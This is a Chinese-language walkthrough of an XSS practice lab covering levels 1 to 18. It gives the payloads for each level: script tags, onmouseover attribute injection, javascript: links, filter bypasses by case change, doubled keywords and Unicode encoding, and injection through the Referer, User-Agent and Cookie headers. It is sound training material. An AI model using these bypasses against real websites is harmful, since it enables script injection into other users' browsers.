靶场链接http://xss.tesla-space.com/?tdsourcetag=s_pcqq_aiomsg
参考博客https://blog.csdn.net/xlsj228/article/details/93166486
1
可以看到url中的test参数出现在页面中,虽然f12看到了下一关的地址,我假装没看见
在url处构造payload:xss.tesla-space.com/level1.php?name=test</h2><script>alert("xx")<\script>
2
构造:" onmouseover=alert()
3
依旧如上一关
输入" onmouseover=alert()
发现引号不能闭合
输入' onmouseover=alert()
单引号可以闭合
4
同2
5
" onmouseover=alert()
发现on中间加了下划线
" /> <script>alert()</script>
script中间加了下划线
尝试大小写等无法绕过
就想到利用javascript伪协议 " /><a href=javascript:alert("ccc");>xxx</a>
6
和5相同,采用5的解法,发现href也被加了下划线,用大小写绕过,成功
" /><a Href=javascript:alert("ccc");>xxx</a>
7
onmouseover 的on被过滤,采用双写绕过
" oonnmouseover=alert()
8
采用javascript伪协议,可是被过滤
采用空格绕过,javascr ipt:alert('xss')
;还是不行
采用16进制编码,仍然不行
采用unicode编码,将t进行编码,成功
javascript:alert('xss') ;
9
利用javascript:alert()
,发现
最后试探发现必须包含一个正常的链接,所以包含一个被注释掉的链接
javascript:alert()//http://www.baidu.com
10
查看源码发现是3个隐藏的标签
传入相关值,并将type设置为text可见http://xss.tesla-space.com/level10.php?t_sort="onmouseover="alert()"type="text
前两个标签不起作用,利用最后一个标签
11
参考https://blog.csdn.net/xlsj228/article/details/93166486
用bp截断增加referer头
referer:'' onmouseover=alert() type="text
12
与上相同,在user-agent处
13
与上相同,在cookie处
14
这一关好像挂了
然后下面给的level15的链接也挂了
手动改url进15关http://xss.tesla-space.com/level15.php
15
结果15关加载半天卡死……
16
将空格,script等过滤
运用<svg onload=alert()>
标签
空格用回车换行%0d,%0a代替
17
url为http://xss.tesla-space.com/level17.php?arg01=a&arg02=b
构造payload:http://xss.tesla-space.com/level17.php?arg01=a&arg02=b" onmouseover=alert()
18
与17相同